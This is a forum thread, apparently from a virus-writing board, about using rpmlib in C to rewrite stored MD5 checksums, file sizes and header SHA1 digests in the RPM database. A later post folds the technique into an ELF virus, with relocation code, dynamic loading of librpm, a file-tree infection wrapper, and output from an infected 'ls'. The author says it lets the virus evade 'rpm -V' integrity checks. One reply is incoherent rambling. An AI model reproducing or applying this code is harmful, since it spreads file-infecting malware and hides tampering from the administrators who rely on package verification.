Topic: Does anyone familiar with RPMLIB?

Got:

rpmdb: Write attempted on read-only cursor
error: db4 error(1) from dbcursor->c_put: Operation not permitted
error: error(1) storing record #2557 into Packages

on

int update_file(char *fn)
{
        rpmts ts = rpmtsCreate();
        rpmtsOpenDB(ts, O_RDWR);
        rpmtsSetVSFlags(ts, RPMVSF_NOSHA1HEADER);

        rpmdbMatchIterator mi = rpmtsInitIterator(ts, RPMTAG_BASENAMES, fn, 0);
        Header header;
        int_32 type[3], count, foo, *sizes;
        char **name, **md5s;
        while ((header = rpmdbNextIterator(mi)) != NULL) {
                headerGetEntry(header, RPMTAG_BASENAMES, &type[0], &name, &count);
                headerGetEntry(header, RPMTAG_FILEMD5S,  &type[1], &md5s, &count);              
                headerGetEntry(header, RPMTAG_FILESIZES, &type[2], &sizes, &count);
                int i;
                for (i = 0; i < count; i++) {
                        if (! strcmp(basename(fn), name[i])) {
                                printf("%s  ", name[i]);
                                printf("%d  ", sizes[i]);
                                printf("%s\n", md5s[i]);
                                        
                                sizes[i] = 2908;
                                md5s[i] = strdup("2cd69cc28cfeb427e66099b9fdae0991");                           
                                headerModifyEntry(header, RPMTAG_FILEMD5S,  type[1], md5s, count);
                                headerModifyEntry(header, RPMTAG_FILESIZES, type[2], sizes, count);
                                                
                                rpmdbSetIteratorModified(mi, 1);
                        }
                }
        }
        rpmdbFreeIterator(mi);
        rpmtsFree(ts);
}

int main(int argc, char ** argv)
{
        rpmReadConfigFiles(NULL, NULL);
        update_file("/bin/foobar");
        return 0;
}

Any ideas?
update
rpmdbSetIteratorRewrite(mi, 1); after rpmtsInitIterator() made the thing working. it still pretty rude (doesn't update) header's digest, but:

# echo "xxx" >> /bin/foobar
# rpm --nodigest -Vf /bin/foobar 
S.5....T    /bin/foobar
# ./a.out
# rpm --nodigest -Vf /bin/foobar 
.......T    /bin/foobar

i am still thinking how to update the haeder correctly, because of:

# rpm -Vf /bin/foobar 
error: rpmdbNextIterator: skipping h#    2557 Header SHA1 digest: BAD Expected(d32f85248df8a29aaca4e70856a04efb07b2b8ab) != (4de493cd5db1c6ff00917b5f7f8c9c3360fa0255)

as far as i can guess, the header should be copied, digest and signature updated on the copy, original header should be removed and new added. but, rpmlib has one of the worst docs i ever seen.
update2
:-)

                                if (headerIsEntry(h, RPMTAG_SHA1HEADER)) {
                                        DIGEST_CTX ctx;
                                        void * uh;
                                        int_32 uht, uhc, digestlen;
                                        char *digest;
                                
                                        headerGetEntry(h, RPMTAG_HEADERIMMUTABLE, &uht, &uh, &uhc);
                                        ctx = rpmDigestInit(PGPHASHALGO_SHA1, RPMDIGEST_NONE);
                                        rpmDigestUpdate(ctx, header_magic, sizeof(header_magic));
                                        rpmDigestUpdate(ctx, uh, uhc);
                                        rpmDigestFinal(ctx, (void*)&digest, NULL, 1);
                                        printf("Regen SHA1: %s\n", digest);
                                        //headerModifyEntry(h, RPMTAG_SHA1HEADER, RPM_STRING_TYPE, digest, 1);
                                        char *p;
                                        headerGetEntryMinMemory(h, RPMTAG_SHA1HEADER, NULL, &p, NULL);
                                        strcpy(p, digest);
                                }
./a.out
foobar  2904  05fbfbed447d5dfa5ecded11c3c9684a
Regen SHA1: 4de493cd5db1c6ff00917b5f7f8c9c3360fa0255
rpm -Vf --nodigest /bin/foobar
.......T    /bin/foobar
make: [all] Error 1 (ignored)
rpm -Vf /bin/foobar
.......T    /bin/foobar
make: [all] Error 1 (ignored)

Re: Does anyone familiar with RPMLIB?

RiPM - update MD5 checksum and length of the file in the RPM database

Post's attachments

RiPM.tar.gz 3.15 kb, 5 downloads since 2010-12-23 

You don't have the permssions to download the attachments of this post.

3 (edited by t7ome 2010-12-24 10:25:58)

Re: Does anyone familiar with RPMLIB?

Omg hermit; youre right. it's nothign but a virus syntax. your'e aesome.
http://www.rpm.org/max-rpm/s1-rpm-rpmlib-functions.html
i checked it
instead of saying yetzerTov it says yetzerN0v-RA

so it is certain nothing but virus's no matter what as long as it abides by set law.
correction - Syntax; >>??


ps. Off the hook wants to know if its a syntax or a law. they turn to you hermit.
"can you ask the dragons;.., please if you can."


hermit says the, drag0ns mean it as law; the word syntax.

Re: Does anyone familiar with RPMLIB?

t7ome wrote:

Omg hermit; youre right. it's nothign but a virus syntax. your'e aesome.
http://www.rpm.org/max-rpm/s1-rpm-rpmlib-functions.html
i checked it

Though this message is a reply to you, actually it is addressed to anyone who may really interested in the topic.
Don't try the above link, it will not work for you anyway, but confuse.

Re: Does anyone familiar with RPMLIB?

And now the samll example how the above feature could be used in the real virus. I will use my RELx.G2.
First of all I want the virus to handle the relocations in the .data (this allows to use initialized string arrays):
in init()

       for (offset = 0; offset < data_size; offset += 4) {
                uint32_t v = *(uint32_t*)(&__data_start + offset);
                if (v >= (uint32_t)&__data_start && v < (uint32_t)&__data_end) {
                        rel = (uint32_t*)realloc(rel, (count + 2) * 4);
                        if (rel == NULL)
                                return 0;
                        rel[count++] = offset | (2 << 30);
                }
        }

in relocate()

                if ((type = rel[i] >> 30) == 3)
                        *(uint32_t*)(text + offset) = old_entry - (new_text + offset + 4);
                else {
+                       if (type == 2) {
+                               *(uint32_t*)(data + offset) += new_data - (uint32_t)&__data_start;

additional module

int get_file_attrs(char *fn, char **rd, int *rl)
{
        int h = open(fn, 0);
        int l = lseek(h, 0, 2);
        uint8_t *m = (uint8_t*)mmap(NULL, l, PROT_READ, MAP_SHARED, h, 0);      
        char *digest = NULL;
        DIGEST_CTX ctx;
        if (m == MAP_FAILED)
                return 0;
        ctx = rpmDigestInit(PGPHASHALGO_MD5, RPMDIGEST_NONE);
        rpmDigestUpdate(ctx, m, l);
        rpmDigestFinal(ctx, (void*)&digest, NULL, 1);   
        *rd = digest;
        *rl = l;
        close(h);
        munmap(m, l);
        return 1;
}

void test_rpm(char *fn)
{
        char *d; int l;
        rpmReadConfigFiles(NULL, NULL);
        if (get_file_attrs(fn, &d, &l))
                printf("%s %s %d\n", fn, d, l);
}

int init_rpm(char *lf)
{
        void *dlh = __libc_dlopen_mode(lf, RTLD_LAZY);
        int i, r = 1;
        for (i = 0; i < rpmlib_count; i++) {
                rpmlib[i] = __libc_dlsym(dlh, rpmlib_names[i]);
                if (rpmlib[i] == NULL)
                        r = 0;
        }
        return r;
}

and the small progy to produce header

#!/usr/bin/env python
# vim: set fileencoding=utf-8 :
"""generate headers fpr rpmfix module"""

RPM_imports = [
        'rpmReadConfigFiles',
        'rpmDigestInit',
        'rpmDigestUpdate',
        'rpmDigestFinal',
        'rpmdbFreeIterator',
        'rpmdbNextIterator',
        'rpmdbSetIteratorModified',
        'rpmdbSetIteratorRewrite',
        'rpmtsCreate',
        'rpmtsFree',
        'rpmtsInitIterator',
        'rpmtsOpenDB',
]

if __name__ == "__main__":
    _i = 0
    for _a in RPM_imports:
        print '#define n%s %d' % (_a, _i)
        print '#define %s ((int(*)())rpmlib[n%s])' % (_a, _a)
        _i += 1
    print '#define rpmlib_count %d' % _i
    print 'void *rpmlib[rpmlib_count];'
    print 'char *rpmlib_names[] = {'
    for _a in RPM_imports:
        print '"' + _a + '",'
    print "};"

# vim: set sts=4 sw=4 et :

and finally in virus()

        if (init() && init_rpm("/usr/lib/librpm-4.4.so")) {
                ftw(".", (int(*)(const char*,const struct stat*,int))_infect, 1);
        }

+ wrapper for infect

static int _infect(char *filename)
{
        test_rpm(filename);
        return infect(filename);
}

Well, a lot of code, but not too much. The virus within infected ls is working:

...
./rpmfix.o b1c71f0d60c74d28c9658acc88d2ea0c 10380
./virus.ld 470acbe10ebc7a6872229674686fdf84 1409
./stub.s dfa34a3a45ee95b8efa5fede914cd88b 326
gen-rpmlib.py  libc.h  lib.txt  ls  Makefile  mklib.c  rpmfix.c  rpmfix.h  rpmfix.o

By inserting update_file and utime() (to restore file mod. time) the virus (if it has enough priviliges) could completely bypass widely used integrity checking routine based on rpm -V.

Have a nice day! ;-)

6 (edited by t7ome 2011-01-06 03:02:13)

Re: Does anyone familiar with RPMLIB?

thanks homee
that would look nice on one of these

http://okidata.vecmar.com/default.htm

Re: Does anyone familiar with RPMLIB?

Guys,

I've got an issue unrelated to virus but very much related to RPMLIB.

I've got an rpm file from a Vendor.  You know, the asshole organization that took control of Java...

Well, they ship the jre rpm without sha1 hash in the header.  This is fine for hand jamming installs.

But if you want to import this package into a RHN Satellite Server the package will fail for lack of sha1 sum.

Any chance you could tweak this work to add the sha1 header to an rpm that does not yet have it?

Many thanks in advance!

Thumbs up Thumbs down

Re: Does anyone familiar with RPMLIB?

petevarga wrote:

But if you want to import this package into a RHN Satellite Server the package will fail for lack of sha1 sum. Any chance you could tweak this work to add the sha1 header to an rpm that does not yet have it?

if you looked at the code above, you probably noticed that i've used a hack to update sha1. i am not familiar enough with rpm lib (and won't to) to add or modify the headers in a clean way. but you could rebuild the rpm - unpack the cpio, make the .spec and when rpmbuild it. also you could check the rpmrebuild.